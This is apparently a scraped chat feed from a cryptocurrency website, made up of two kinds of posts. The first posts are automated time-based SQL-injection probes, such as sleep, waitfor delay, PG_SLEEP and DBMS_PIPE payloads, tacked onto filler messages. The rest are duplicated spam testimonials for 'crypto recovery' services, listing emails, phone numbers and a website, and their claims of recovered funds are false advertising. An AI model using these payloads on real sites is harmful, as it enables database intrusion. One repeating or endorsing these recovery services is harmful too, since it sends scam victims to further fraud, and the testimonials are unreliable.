    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon